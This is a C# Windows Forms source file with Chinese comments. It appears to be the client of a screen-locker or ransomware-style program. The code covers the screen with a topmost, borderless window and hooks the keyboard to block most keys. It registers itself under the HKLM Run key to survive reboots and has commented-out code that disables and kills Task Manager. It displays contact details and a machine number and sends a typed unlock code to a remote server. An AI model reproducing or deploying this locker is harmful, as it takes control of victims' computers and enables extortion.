﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;
using System.IO;
using System.Net;
using System.Diagnostics;

namespace Client
{
    public partial class Form1 : Form
    {
        Socket socketClient;
        //设置一个注册表子键的变量
        RegistryKey key1 = null;
        String mystr = "";
        public Form1()
        {
            InitializeComponent();
            m_SyncContext = SynchronizationContext.Current;
            //
            // Form1
            //
            //窗体显示的起点和大小
            this.TopMost = true;
            this.FormBorderStyle = FormBorderStyle.None;
            this.WindowState = FormWindowState.Maximized;
            //窗体名称
            this.Name = "Form1";
            //设置属性让它后台运行
            //this.ShowInTaskbar = false;
            this.Text = "Form1";

            WriteRegistry();
            //ManageTaskManager(0);
        }

        SynchronizationContext m_SyncContext = null;
        //勾子管理类   
        private KeyboardHookLib _keyboardHook = null;  
        private void Form1_Load(object sender, EventArgs e)
        {

            string Current;

            Current = Directory.GetCurrentDirectory();//获取当前根目录  
            Ini ini = new Ini(Current + "/config.ini");
            // 读取ini  
            string contact = ini.ReadValue("info", "contact");
            string description = ini.ReadValue("info", "description");
            this.label1.Text = contact;
            this.label2.Text = description;
            this.label9.Text = new SoftReg().getMNum();
            //安装勾子   
            _keyboardHook = new KeyboardHookLib();
            _keyboardHook.InstallHook(this.OnKeyPress);

            Thread threadClient;
            //创建一个线程 用于监听服务端发来的消息
            threadClient = new Thread(time1);

            //将窗体线程设置为与后台同步
            threadClient.IsBackground = true;

            //启动线程
            threadClient.Start();

        }

        private void time1()
        {
            while (true)
            {
                m_SyncContext.Post((s) =>
                {
                    this.label3.Text = TcpConnection.getInstance().isConnected + "";
                }, null);
                Thread.Sleep(1000);
            }
        }

        private void label1_Click(object sender, EventArgs e)
        {

        } //moveCC1()
        /// <summary>
        /// 管理任务管理器的方法
        /// </summary>
        /// <param name="arg">0：启用任务管理器 1：禁用任务管理器</param>
        //private void ManageTaskManager(int arg)
        //{
        //    RegistryKey currentUser = Registry.CurrentUser;
        //    RegistryKey system = currentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", true);
        //    //如果system项不存在就创建这个项
        //    if (system == null)
        //    {
        //        system = currentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
        //    }
        //    system.SetValue("DisableTaskmgr", arg, RegistryValueKind.DWord);
        //    currentUser.Close();
        //    if (arg == 1)
        //    {
        //        Process p = new Process();
        //        p.StartInfo.FileName = "cmd.exe";
        //        p.StartInfo.UseShellExecute = false;                  //这里是关键点,不用Shell启动
        //        p.StartInfo.RedirectStandardInput = true;             //重定向输入
        //        p.StartInfo.RedirectStandardOutput = true;            //重定向输出
        //        p.StartInfo.CreateNoWindow = true;                    //不显示窗口
        //        p.Start();
        //        p.StandardInput.WriteLine("taskkill /f /im taskmgr.exe");// 向cmd.exe输入command
        //        p.StandardInput.WriteLine("exit");
        //    }

        //}
        /// <summary>   
        /// 客户端键盘捕捉事件.   
        /// </summary>   
        /// <param name="hookStruct">由Hook程序发送的按键信息</param>   
        /// <param name="handle">是否拦截</param>   
        public void OnKeyPress(KeyboardHookLib.HookStruct hookStruct, out bool handle)
        {
            if ((hookStruct.vkCode >= 48 && hookStruct.vkCode <= 90) || hookStruct.vkCode == 160)
            {
                handle = false;
            }
            else
            {
                handle = true;
            }
            //handle = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (TcpConnection.getInstance().isConnected)
            {
                if (this.textBox1.Text.Trim() != "")
                {
                    Request request = new Request();
                    request.cmd = "unlock";
                    request.version = "1.0.0";
                    request.seq = Global.SEQ();
                    Dictionary<string, object> cmd_body = new Dictionary<string, object>();
                    cmd_body.Add("code",this.textBox1.Text);
                    request.cmd_body = cmd_body;
                    TcpConnection.getInstance().clientSendMsg(request, (response) =>
                    {
                        if (response.code == 0)
                        {
                            MessageBox.Show("请求已发送");
                        }
                    });
                }
                else
                {
                    MessageBox.Show("请输入正确的解锁码");
                }
            }
            else
            {
                MessageBox.Show("没有连接到服务器");
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            if (TcpConnection.getInstance().isConnected)
            {
                MessageBox.Show("已经连接到服务器了");
            }
            else
            {
                TcpConnection.getInstance().handshake((response) =>
                {
                    if (response.code == 0) { 
                        //链接成功
                        TcpConnection.getInstance().isConnected = true;
                        LogHelper.info("Connect successed.");
                    }
                    else
                    {
                        MessageBox.Show(response.msg);
                    }
                });
            }
        }

        private void label2_Click(object sender, EventArgs e)
        {

        }
        private void WriteRegistry()
        {
            string strName = Application.ExecutablePath;
            if (File.Exists(strName))
            {
                string strNewName = Path.GetFileName(strName);
                RegistryKey reg = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                if (reg == null)
                {
                    reg = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
                }
                else
                {
                    if (reg.GetValue(strNewName) == null)
                    {
                        reg.SetValue(strNewName, strName);
                    }
                }
            }
        }

    }

}
